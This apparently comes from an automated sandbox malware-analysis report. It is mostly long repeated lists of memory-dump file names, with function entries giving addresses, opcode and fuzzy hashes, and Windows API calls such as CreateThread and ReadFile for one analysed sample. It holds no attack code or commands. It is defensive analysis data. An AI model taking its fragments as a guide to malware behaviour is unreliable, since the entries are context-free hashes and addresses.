Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 285790fe847ad787fb63b456c7279eac66219293bd1eb864bd35590c85c8c7a9
Instruction ID: 9936b7eaafc85b15eec6b340a8aee5bd6145f644742f6648ddd63c064094e4b3
Opcode Fuzzy Hash: 285790fe847ad787fb63b456c7279eac66219293bd1eb864bd35590c85c8c7a9
Instruction Fuzzy Hash: 07017DB249A3965ADB22BB784CAD3C97FA0EF13300F2880D6E8804B493C3690444C711

Function 00B721D8 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,?,?), ref: 00B72244

Memory Dump Source

Source File: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 2c4e533a2b586dbbe4a5fa814bb67e5b311b61acb9cdc8f99a82cd9b4571f708
Instruction ID: 1211118be7a97c837c29918d31409fd8f794dfde82d36faa113a4bb5105764a3
Opcode Fuzzy Hash: 2c4e533a2b586dbbe4a5fa814bb67e5b311b61acb9cdc8f99a82cd9b4571f708
Instruction Fuzzy Hash: ADF0E132604146FBCF125F95DC09E9E3BA6FF99340F018191F51955061D736C562EB61

Function 00B643A5 Relevance: 1.5, APIs: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000), ref: 00B643BA

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 655bf1db5f35ae765ef4a2244f669e7d1238c91d6e68d0ccad863258b4e72fb7
Instruction ID: 6059bf97cbbbda01448aae86c9945f17299d97e160dfd02f52e5f10fa7180466
Opcode Fuzzy Hash: 655bf1db5f35ae765ef4a2244f669e7d1238c91d6e68d0ccad863258b4e72fb7
Instruction Fuzzy Hash: ADF024F14096197EF710DF209C067AF3BB8EF80B10F204029B801C5982D3A81D608A2C

Function 00B5B1F1 Relevance: 1.5, APIs: 1, Instructions: 29threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000), ref: 00B5B23D

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0f62a51593b36ffe316c56e3ca211da5f38dad6a9f4897a307d6fdc8923a1544
Instruction ID: 50b18551fb27f635aec2d4aabcf84cc8e13536377861d7cbf1665ab1d6ab8b07
Opcode Fuzzy Hash: 0f62a51593b36ffe316c56e3ca211da5f38dad6a9f4897a307d6fdc8923a1544
Instruction Fuzzy Hash: 9BE0E5BB28A6165AD7112F60480AF7E7E75EFC1731F3844E5A8044E5C2CBA10C08A774

Function 00B5D171 Relevance: 1.5, APIs: 1, Instructions: 29threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000), ref: 00B5D181

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 37874c429d00a9ade4d8b55cad912f6791290b9911fa36fb436e4fe1295b30df
Instruction ID: 09a7a3c35e95c1429883ca801ac42f40ff3476bcde4bde71617ec13787e84224
Opcode Fuzzy Hash: 37874c429d00a9ade4d8b55cad912f6791290b9911fa36fb436e4fe1295b30df
Instruction Fuzzy Hash: 56F0BE71A496299AEB25CF20D88AF9F3BB8DF04702F4001D9ED0126C80C2625E68CF08

Function 00B54A3C Relevance: 1.5, APIs: 1, Instructions: 25threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B54AB5

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
